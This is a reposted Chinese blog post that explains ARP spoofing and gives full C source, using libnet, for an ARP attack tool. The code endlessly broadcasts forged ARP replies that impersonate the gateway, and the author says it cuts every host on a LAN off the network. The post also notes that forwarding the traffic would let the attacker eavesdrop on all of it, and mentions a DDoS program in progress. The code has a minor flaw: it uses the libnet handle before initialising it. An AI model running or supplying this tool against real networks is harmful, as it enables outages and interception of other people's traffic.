Linux下使用libnet實現ARP攻擊
用libnet寫了個簡單的ARP攻擊。以前感覺ARP攻擊不是特別常見,不過最近工作中倒是遇到過兩次ARP欺騙的事件。其實ARP欺騙的原理灰常簡單滴,大部分都是在局域網中發送偽造的ARP廣播包, 廣播包的目的是干嘛呢?很簡單,欺騙內網的所有主機,告訴受害主機,“我”是網關。 內網機器接收到這種廣播包之后,會刷新自己ARP緩存表,把網關的IP和廣播包中的源MAC綁定。這樣攻擊機器就達到了冒充網關的目的。
上次一所大學就是被ARP欺騙攻擊,他們的學校主頁一打開就會跳出其他很多亂七八糟的頁面,,,,當時查看他們WEB服務器的源代碼,發現沒有被插入這些<iframe>會彈頁面的代碼,但是用瀏覽器外網訪問的時候,這些代碼就出現了,很明顯網站的返回的客戶端數據在途中被劫持修改了(插入了一些代碼)。
下面實現的就比較簡單了,只做欺騙,不做轉發,導致的后果就是局域網所有主機會斷網。測試了一下,內網主機會無法上網,安了360ARP防護的會報警,能上網,就是網速有點慢,但是識別出了的攻擊主機好像不準確,試了幾次都識別成正常的電腦在攻擊,不知道360這個識別是不是通過源MAC地址識別還是怎么識別。
#include "arp.h"
int main(int argc,char **argv){
libnet_t *l;
int i,packet_size; //發送的數據包的長度
libnet_ptag_t arp_tag,ether_tag;
char *device="eth0";
char err_buf[LIBNET_ERRBUF_SIZE];
char *destion_ip_str = "255.255.255.255";
char *source_ip_str = "192.168.1.1";
u_char source_hardware[6]={0x00,0x0c,0x29,0x68,0x95,0x84};
u_char destion_hardware[6]={0xff,0xff,0xff,0xff,0xff,0xff};
u_int32_t source_ip,destion_ip;
//將字符形式ip轉換為網絡字節序
source_ip = libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
destion_ip = libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
//初始化libnet句柄
l = libnet_init(LIBNET_LINK,device,err_buf);
if(l == NULL){
printf("初始化libnet句柄失敗:%s\n",err_buf);
exit(-1);
}
arp_tag = libnet_build_arp(
ARPHRD_ETHER, //硬件地址類型,此處為以太網類型
ETHERTYPE_IP, //協議地址類型
6,
4,
ARPOP_REPLY, //ARP應答
source_hardware,
(u_int8_t *)&source_ip,
destion_hardware,
(u_int8_t *)&destion_ip,
NULL, //無負載
0, //負載長度為0
l,
0 //協議塊標記,為0,表示新建協議塊
);
ether_tag = libnet_build_ethernet(
(u_int8_t *)&destion_hardware,
(u_int8_t *)&source_hardware,
ETHERTYPE_ARP,
NULL,
0,
l,
0
);
i = 0;
while(1){
packet_size = libnet_write(l); //發送構造的ARP數據包
usleep(10);
i++;
}
printf("數據包長度為:%d\n",packet_size);
libnet_destroy(l);
return 0;
} 目標MAC為廣播地址,全0xff就行,源MAC地址可以為本機MAC或者隨便偽造的MAC(在程序中獲取本機MAC可用ioctl函數,最近在寫DDOS攻擊程序就是用ioctl獲取本機MAC和IP的),注意ARP包類型為ARPOP_REPLY(應答包)。
如果不想弄斷網,只進行欺騙的話,數據發送過來之后,要進行轉發到正確的網關,這樣就保證內網網絡正常,而且所有數據都被監聽了
來自:http://my.oschina.net/jiyufei/blog/179494
本文由用戶 jopen 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!